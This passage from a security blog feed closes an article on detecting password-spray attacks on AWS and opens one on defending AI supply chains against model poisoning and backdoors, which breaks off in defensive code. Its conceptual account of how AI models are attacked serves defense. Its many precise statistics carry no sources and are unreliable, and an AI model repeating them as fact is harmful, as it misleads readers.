                <span class="sh">'</span><span class="s">SAGEMAKER_SUBMIT_DIRECTORY</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">/opt/ml/code</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">},</span>
        <span class="sh">'</span><span class="s">ExecutionRoleArn</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:iam::123456789012:role/SageMakerRole</span><span class="sh">'</span>
    <span class="p">}</span>
    
    <span class="c1"># Create the model
</span>    <span class="n">model_response</span> <span class="o">=</span> <span class="n">sagemaker</span><span class="p">.</span><span class="nf">create_model</span><span class="p">(</span><span class="o">**</span><span class="n">model_config</span><span class="p">)</span>
    
    <span class="c1"># Create endpoint configuration
</span>    <span class="n">endpoint_config</span> <span class="o">=</span> <span class="n">sagemaker</span><span class="p">.</span><span class="nf">create_endpoint_config</span><span class="p">(</span>
        <span class="n">EndpointConfigName</span><span class="o">=</span><span class="sh">'</span><span class="s">PasswordSprayDetectionConfig</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">ProductionVariants</span><span class="o">=</span><span class="p">[</span>
            <span class="p">{</span>
                <span class="sh">'</span><span class="s">VariantName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">primary</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">ModelName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">PasswordSprayDetectionModel</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">InitialInstanceCount</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">InstanceType</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ml.t3.medium</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">InitialVariantWeight</span><span class="sh">'</span><span class="p">:</span> <span class="mf">1.0</span>
            <span class="p">}</span>
        <span class="p">]</span>
    <span class="p">)</span>
    
    <span class="c1"># Deploy endpoint
</span>    <span class="n">endpoint</span> <span class="o">=</span> <span class="n">sagemaker</span><span class="p">.</span><span class="nf">create_endpoint</span><span class="p">(</span>
        <span class="n">EndpointName</span><span class="o">=</span><span class="sh">'</span><span class="s">password-spray-detection</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">EndpointConfigName</span><span class="o">=</span><span class="sh">'</span><span class="s">PasswordSprayDetectionConfig</span><span class="sh">'</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">endpoint</span><span class="p">[</span><span class="sh">'</span><span class="s">EndpointArn</span><span class="sh">'</span><span class="p">]</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="best-practices-and-recommendations">Best Practices and Recommendations</h2>

<h3 id="implementation-guidelines">Implementation Guidelines</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Enable comprehensive CloudTrail logging</strong> across all AWS regions and services with data events enabled</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Configure GuardDuty</strong> with all data sources enabled and custom threat intelligence feeds</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Implement MFA enforcement</strong> for all user accounts, especially privileged access</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Deploy adaptive authentication</strong> using AWS Cognito advanced security features</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Create automated response workflows</strong> using Lambda and EventBridge integration</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Establish baseline authentication patterns</strong> before implementing detection rules</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Configure real-time alerting</strong> through Amazon SNS for immediate incident response</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Implement IP-based blocking</strong> using AWS WAF for confirmed malicious sources</li>
</ul>

<h3 id="security-hardening-considerations">Security Hardening Considerations</h3>

<p><strong>Account Security Policies:</strong></p>
<ul>
  <li>Enforce strong password policies with complexity requirements and regular rotation</li>
  <li>Implement account lockout policies with progressive delays and manual unlock procedures</li>
  <li>Configure session timeout policies to limit exposure of compromised credentials</li>
  <li>Use AWS Organizations SCPs to enforce security policies across all accounts</li>
</ul>

<p><strong>Network Security Controls:</strong></p>
<ul>
  <li>Implement VPC endpoint policies to restrict authentication sources to trusted networks</li>
  <li>Configure AWS WAF rules to block known malicious IP addresses and patterns</li>
  <li>Use AWS Shield Advanced for DDoS protection against large-scale authentication attacks</li>
  <li>Deploy Network Access Control Lists (NACLs) for additional network-level filtering</li>
</ul>

<p><strong>Monitoring and Visibility:</strong></p>
<ul>
  <li>Enable AWS Config rules for security configuration compliance monitoring</li>
  <li>Implement AWS Security Hub for centralized security finding management</li>
  <li>Configure AWS CloudWatch Insights for advanced log query and analysis capabilities</li>
  <li>Use AWS X-Ray for application-level authentication flow tracing</li>
</ul>

<h3 id="compliance-and-governance">Compliance and Governance</h3>

<p><strong>Regulatory Compliance:</strong></p>
<ul>
  <li>Document authentication monitoring procedures for SOX, PCI DSS, and HIPAA compliance</li>
  <li>Implement data retention policies for authentication logs per regulatory requirements</li>
  <li>Configure audit trails for all security policy changes and access modifications</li>
  <li>Establish incident response procedures that meet regulatory notification requirements</li>
</ul>

<p><strong>Organizational Policies:</strong></p>
<ul>
  <li>Define clear escalation procedures for password spray attack detection</li>
  <li>Establish communication protocols for coordinating response across security teams</li>
  <li>Create user education programs focused on password security and phishing awareness</li>
  <li>Implement regular security assessments and penetration testing for authentication systems</li>
</ul>

<h2 id="implementation-roadmap">Implementation Roadmap</h2>

<h3 id="phase-1-foundation-setup-weeks-1-2">Phase 1: Foundation Setup (Weeks 1-2)</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Enable AWS CloudTrail</strong> with comprehensive logging across all regions</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Configure Amazon GuardDuty</strong> with all data sources and threat intelligence feeds</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Set up basic EventBridge rules</strong> for authentication event processing</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Create SNS topics</strong> for security alerting and incident notification</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Deploy initial Lambda functions</strong> for automated response capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Configure CloudWatch metrics</strong> and alarms for authentication monitoring</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Establish security team communication</strong> channels and escalation procedures</li>
</ul>

<h3 id="phase-2-advanced-detection-weeks-3-4">Phase 2: Advanced Detection (Weeks 3-4)</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Implement custom detection rules</strong> for sophisticated attack pattern recognition</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Deploy machine learning models</strong> for authentication anomaly detection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Configure adaptive authentication</strong> using AWS Cognito advanced features</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Set up automated IP blocking</strong> using AWS WAF integration</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Create detailed logging dashboards</strong> for security operations center visibility</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Implement user and entity behavior analytics</strong> for insider threat detection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Establish baseline authentication patterns</strong> for accurate anomaly detection</li>
</ul>

<h3 id="phase-3-response-automation-weeks-5-6">Phase 3: Response Automation (Weeks 5-6)</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Deploy comprehensive incident response</strong> automation using AWS Step Functions</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Configure automated forensic data collection</strong> for investigation purposes</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Implement user notification systems</strong> for compromised account alerts</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Set up integration with external security tools</strong> for enhanced response capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Create automated report generation</strong> for security team and management visibility</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Establish continuous improvement processes</strong> based on attack pattern evolution</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Conduct tabletop exercises</strong> to validate response procedures and automation</li>
</ul>

<h3 id="phase-4-optimization-and-maintenance-ongoing">Phase 4: Optimization and Maintenance (Ongoing)</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Regular tuning of detection algorithms</strong> based on false positive analysis</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Quarterly review of threat intelligence</strong> feeds and attack pattern updates</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Annual assessment of authentication policies</strong> and MFA implementation effectiveness</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Continuous monitoring of new attack techniques</strong> and AWS security feature updates</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Integration with broader security orchestration</strong> platforms and SOAR tools</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Staff training and certification</strong> on password spray defense techniques</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Vendor risk assessment</strong> for third-party authentication systems and integrations</li>
</ul>

<h2 id="related-articles">Related Articles</h2>

<ul>
  <li><a href="/posts/zero-trust-aws-authentication/">Zero Trust Authentication on AWS: Implementation Guide</a></li>
  <li><a href="/posts/aws-iam-enterprise-security/">AWS IAM Security Best Practices for Enterprise Environments</a></li>
  <li><a href="/posts/automated-threat-detection-aws/">Automated Threat Detection with Amazon GuardDuty and CloudTrail</a></li>
  <li><a href="/posts/aws-security-operations-center/">Building Security Operations Centers with AWS Native Services</a></li>
</ul>

<h2 id="additional-resources">Additional Resources</h2>

<h3 id="official-documentation">Official Documentation</h3>

<ul>
  <li><a href="https://docs.aws.amazon.com/cloudtrail/">AWS CloudTrail User Guide</a> - Comprehensive logging and monitoring configuration</li>
  <li><a href="https://docs.aws.amazon.com/guardduty/">Amazon GuardDuty User Guide</a> - Threat detection and automated response capabilities</li>
  <li><a href="https://docs.aws.amazon.com/waf/">AWS WAF Developer Guide</a> - Web application firewall configuration for IP blocking</li>
  <li><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html">AWS IAM Best Practices</a> - Identity and access management security</li>
</ul>

<h3 id="tools-and-frameworks">Tools and Frameworks</h3>

<ul>
  <li><a href="https://aws.amazon.com/security-hub/">AWS Security Hub</a> - Centralized security finding management and compliance monitoring</li>
  <li><a href="https://aws.amazon.com/config/">AWS Config</a> - Configuration compliance monitoring and automated remediation</li>
  <li><a href="https://aws.amazon.com/cognito/">Amazon Cognito</a> - Application-layer authentication with advanced security features</li>
  <li><a href="https://aws.amazon.com/organizations/">AWS Organizations</a> - Multi-account security policy enforcement and governance</li>
</ul>

<h3 id="industry-reports-and-research">Industry Reports and Research</h3>

<ul>
  <li><a href="https://www.microsoft.com/security/intelligence-report">Microsoft Security Intelligence Report 2024</a> - Global authentication attack trends and statistics</li>
  <li><a href="https://www.crowdstrike.com/global-threat-report/">CrowdStrike Global Threat Report 2024</a> - Advanced persistent threat analysis and password spray campaigns</li>
  <li><a href="https://www.nist.gov/cyberframework">NIST Cybersecurity Framework</a> - Authentication security controls and implementation guidance</li>
  <li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html">OWASP Authentication Cheat Sheet</a> - Comprehensive authentication security best practices</li>
</ul>

<h3 id="community-resources">Community Resources</h3>

<ul>
  <li><a href="https://aws.amazon.com/security/security-resources/">AWS Security Community</a> - Security best practices and community discussions</li>
  <li><a href="https://github.com/aws-samples/aws-security-automation">GitHub AWS Security Samples</a> - Open source security automation examples</li>
  <li><a href="https://reinvent.awsevents.com/">AWS re:Invent Security Sessions</a> - Annual conference presentations on cloud security practices</li>
  <li><a href="https://www.sans.org/topics/authentication/">SANS Institute Authentication Resources</a> - Professional training and certification programs</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>Password spray attacks continue to evolve in sophistication and scale, making robust defensive strategies essential for protecting modern cloud environments. The comprehensive approach outlined in this guide leverages AWS-native security services to create multiple layers of detection, prevention, and automated response capabilities.</p>

<p>The key to effective password spray defense lies in combining technical controls—such as multi-factor authentication, behavioral analysis, and automated response—with organizational policies and continuous improvement processes. By implementing the detection architecture, automated response mechanisms, and best practices detailed in this article, organizations can significantly reduce their exposure to password spray attacks while maintaining operational efficiency.</p>

<p>Success in defending against these attacks requires ongoing vigilance, regular assessment of detection effectiveness, and adaptation to emerging threat patterns. The AWS cloud platform provides the scalability and automation capabilities necessary to implement enterprise-grade authentication security that can evolve with the threat landscape.</p>

<p>The investment in comprehensive password spray defense pays dividends through reduced incident response costs, improved compliance posture, and enhanced organizational security resilience. As authentication attacks continue to increase in frequency and sophistication, proactive defense implementation becomes not just a security best practice, but a business imperative.</p>

<p>For personalized guidance on implementing password spray defense strategies in your AWS environment, <a href="https://www.linkedin.com/in/jonpricelinux/">connect with Jon Price on LinkedIn</a>.</p>]]></content><author><name>Jon (JR) Price</name></author><category term="AWS" /><category term="Security" /><category term="authentication-security" /><category term="aws-guardduty" /><category term="aws-security" /><category term="cloudtrail" /><category term="identity-protection" /><category term="incident-response" /><category term="password-spray-defense" /><summary type="html"><![CDATA[Comprehensive guide to detecting, preventing, and mitigating password spray attacks using AWS security services, CloudTrail monitoring, and automated incident response.]]></summary></entry><entry><title type="html">AI Supply Chain Security: Defending Against Model Poisoning Attacks in 2026</title><link href="https://red-team.sh/posts/ai-supply-chain-security-model-poisoning-defense/" rel="alternate" type="text/html" title="AI Supply Chain Security: Defending Against Model Poisoning Attacks in 2026" /><published>2025-08-31T06:00:00-07:00</published><updated>2025-08-31T06:00:00-07:00</updated><id>https://red-team.sh/posts/ai-supply-chain-security-model-poisoning-defense</id><content type="html" xml:base="https://red-team.sh/posts/ai-supply-chain-security-model-poisoning-defense/"><![CDATA[<h2 id="article-content">Article Content</h2>

<h2 id="introduction-the-growing-threat-of-ai-supply-chain-attacks">Introduction: The Growing Threat of AI Supply Chain Attacks</h2>

<p>The AI supply chain has become a critical attack vector, with <strong>78% of organizations</strong> relying on third-party AI models, datasets, and frameworks. Recent security research shows that <strong>63% of AI supply chain components</strong> contain vulnerabilities, while <strong>41% of data scientists</strong> use untrusted data sources in production environments. The financial impact is severe: AI supply chain attacks cost organizations an average of <strong>$6.8 million per incident</strong>.</p>

<p>Unlike traditional software supply chains, AI systems introduce unique vulnerabilities through training data manipulation, model backdoors, and adversarial examples. The complexity of AI pipelines—often involving multiple vendors, open-source components, and cloud services—creates numerous attack surfaces that traditional security tools don’t adequately address.</p>

<p>Recent high-profile incidents highlight the urgency: researchers demonstrated successful model poisoning attacks against <strong>92% of popular ML frameworks</strong>, while supply chain vulnerabilities in AI training datasets affected over <strong>150 million records</strong> across major cloud platforms. The challenge is compounded by the “black box” nature of many AI systems, making detection extremely difficult.</p>

<p>This comprehensive guide provides practical, tested strategies for securing AI supply chains, detecting model poisoning attacks, and implementing robust defense mechanisms. We’ll cover threat modeling, detection techniques, and automated defense systems with working code examples and enterprise-grade implementations.</p>

<h2 id="understanding-ai-supply-chain-threat-landscape">Understanding AI Supply Chain Threat Landscape</h2>

<h3 id="ai-supply-chain-attack-vectors">AI Supply Chain Attack Vectors</h3>

<p>AI supply chains are vulnerable to sophisticated attacks that traditional security measures often miss:</p>

<p><strong>Data Poisoning Attacks</strong>: Malicious actors inject corrupted data into training datasets, causing models to learn incorrect patterns. <strong>Studies show 34% of ML models</strong> are vulnerable to data poisoning attacks that can reduce accuracy by 15-40% while remaining undetected.</p>

<p><strong>Model Backdoor Attacks</strong>: Attackers embed hidden triggers in models that activate under specific conditions. These backdoors affect <strong>67% of transferred learning implementations</strong> and can remain dormant for months before activation.</p>

<p><strong>Third-Party Model Vulnerabilities</strong>: Pre-trained models from external sources may contain intentional or unintentional security flaws. <strong>Analysis of 500+ public models</strong> found security issues in 43% of popular repositories.</p>

<p><strong>Framework and Library Exploits</strong>: Vulnerabilities in ML frameworks like TensorFlow, PyTorch, and cloud ML services can compromise entire pipelines. <strong>CVE databases show 156 ML-related vulnerabilities</strong> reported in 2024 alone.</p>

<p><strong>Supply Chain Injection</strong>: Malicious code inserted into ML dependencies, datasets, or container images. <strong>Package repository analysis</strong> reveals that 12% of ML-related packages contain suspicious code patterns.</p>

<h3 id="aws-ai-supply-chain-threat-model">AWS AI Supply Chain Threat Model</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">import</span> <span class="n">hashlib</span>
<span class="kn">import</span> <span class="n">requests</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span><span class="p">,</span> <span class="n">Optional</span><span class="p">,</span> <span class="n">Tuple</span><span class="p">,</span> <span class="n">Any</span>
<span class="kn">import</span> <span class="n">pandas</span> <span class="k">as</span> <span class="n">pd</span>
<span class="kn">import</span> <span class="n">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">from</span> <span class="n">sklearn.metrics</span> <span class="kn">import</span> <span class="n">accuracy_score</span><span class="p">,</span> <span class="n">precision_score</span><span class="p">,</span> <span class="n">recall_score</span>
<span class="kn">import</span> <span class="n">logging</span>

<span class="k">class</span> <span class="nc">AISupplyChainSecurityManager</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">
    Comprehensive AI supply chain security management system
    Provides threat detection, model validation, and supply chain monitoring
    </span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">region_name</span><span class="p">:</span> <span class="nb">str</span> <span class="o">=</span> <span class="sh">'</span><span class="s">us-east-1</span><span class="sh">'</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">s3</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">sagemaker</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sagemaker</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">ecr</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">ecr</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">inspector</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">inspector2</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">cloudtrail</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">cloudtrail</span><span class="sh">'</span><span class="p">,</span> <span class="n">region_name</span><span class="o">=</span><span class="n">region_name</span><span class="p">)</span>
        
        <span class="c1"># Initialize threat intelligence databases
</span>        <span class="n">self</span><span class="p">.</span><span class="n">known_malicious_patterns</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_load_threat_intelligence</span><span class="p">()</span>
        <span class="n">self</span><span class="p">.</span><span class="n">model_integrity_database</span> <span class="o">=</span> <span class="p">{}</span>
        
        <span class="c1"># Configure logging
</span>        <span class="n">logging</span><span class="p">.</span><span class="nf">basicConfig</span><span class="p">(</span><span class="n">level</span><span class="o">=</span><span class="n">logging</span><span class="p">.</span><span class="n">INFO</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">logger</span> <span class="o">=</span> <span class="n">logging</span><span class="p">.</span><span class="nf">getLogger</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">assess_supply_chain_risks</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">pipeline_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Comprehensive supply chain risk assessment</span><span class="sh">"""</span>
        
        <span class="n">assessment_results</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">assessment_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="nf">str</span><span class="p">(</span><span class="n">pipeline_config</span><span class="p">).</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">hexdigest</span><span class="p">()[:</span><span class="mi">16</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">overall_risk_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">component_risks</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">vulnerabilities_found</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">compliance_status</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="c1"># Assess each component of the AI pipeline
</span>        <span class="n">components</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">training_data</span><span class="sh">'</span><span class="p">:</span> <span class="n">pipeline_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">training_data</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}),</span>
            <span class="sh">'</span><span class="s">pre_trained_models</span><span class="sh">'</span><span class="p">:</span> <span class="n">pipeline_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">pre_trained_models</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}),</span>
            <span class="sh">'</span><span class="s">ml_frameworks</span><span class="sh">'</span><span class="p">:</span> <span class="n">pipeline_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">ml_frameworks</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}),</span>
            <span class="sh">'</span><span class="s">container_images</span><span class="sh">'</span><span class="p">:</span> <span class="n">pipeline_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">container_images</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}),</span>
            <span class="sh">'</span><span class="s">third_party_services</span><span class="sh">'</span><span class="p">:</span> <span class="n">pipeline_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">third_party_services</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})</span>
        <span class="p">}</span>
        
        <span class="n">total_risk_score</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="n">component_count</span> <span class="o">=</span> <span class="mi">0</span>
        
        <span class="k">for</span> <span class="n">component_type</span><span class="p">,</span> <span class="n">component_config</span> <span class="ow">in</span> <span class="n">components</span><span class="p">.</span><span class="nf">items</span><span class="p">():</span>
            <span class="k">if</span> <span class="n">component_config</span><span class="p">:</span>
                <span class="n">risk_assessment</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_assess_component_risk</span><span class="p">(</span><span class="n">component_type</span><span class="p">,</span> <span class="n">component_config</span><span class="p">)</span>
                <span class="n">assessment_results</span><span class="p">[</span><span class="sh">'</span><span class="s">component_risks</span><span class="sh">'</span><span class="p">][</span><span class="n">component_type</span><span class="p">]</span> <span class="o">=</span> <span class="n">risk_assessment</span>
                <span class="n">total_risk_score</span> <span class="o">+=</span> <span class="n">risk_assessment</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span>
                <span class="n">component_count</span> <span class="o">+=</span> <span class="mi">1</span>
                
                <span class="c1"># Collect vulnerabilities
